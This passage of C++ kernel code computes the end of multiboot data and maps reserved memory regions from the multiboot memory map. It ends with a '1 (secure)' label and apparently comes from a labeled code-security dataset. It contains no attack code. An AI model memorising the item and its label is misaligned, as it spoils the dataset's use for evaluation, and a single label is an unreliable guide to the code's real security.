// but only if the cmdline is placed after image end
const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1;
if (cmdline_end > multi_end) multi_end = cmdline_end;
}
}
debug("* Multiboot end: 0x%x \n", multi_end);
if (info->mods_count == 0) {
return multi_end;
}
auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr;
debug("* Module list @ %p \n",mods_list);
for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++)
{
debug("\t * Module @ %#x \n", mod->mod_start);
debug("\t * Args: %s \n ", (char*) (uintptr_t) mod->cmdline);
debug("\t * End: %#x \n ", mod->mod_end);
if (mod->mod_end > multi_end)
multi_end = mod->mod_end;
}
debug("* Multiboot end: 0x%x \n", multi_end);
return multi_end;
}
void kernel::multiboot_mmap(void* start, size_t size)
{
const gsl::span<multiboot_memory_map_t> mmap {
(multiboot_memory_map_t*) start,
(int) (size / sizeof(multiboot_memory_map_t))
};
for (const auto& map : mmap)
{
const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? "FREE" : "RESERVED";
const uintptr_t addr = map.addr;
const uintptr_t size = map.len;
INFO2(" 0x%010zx - 0x%010zx %s (%zu Kb.)",
map.addr, map.addr + map.len - 1, str_type, map.len / 1024 );
if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0)
{
if (util::bits::is_aligned<4_KiB>(map.addr)) {
os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size},
"Reserved (Multiboot)");
continue;
}
// For non-aligned addresses, assign
os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, "Reserved (Multiboot)"});
}
else
{
// Map as free memory
}
}
} | 1 (secure) |
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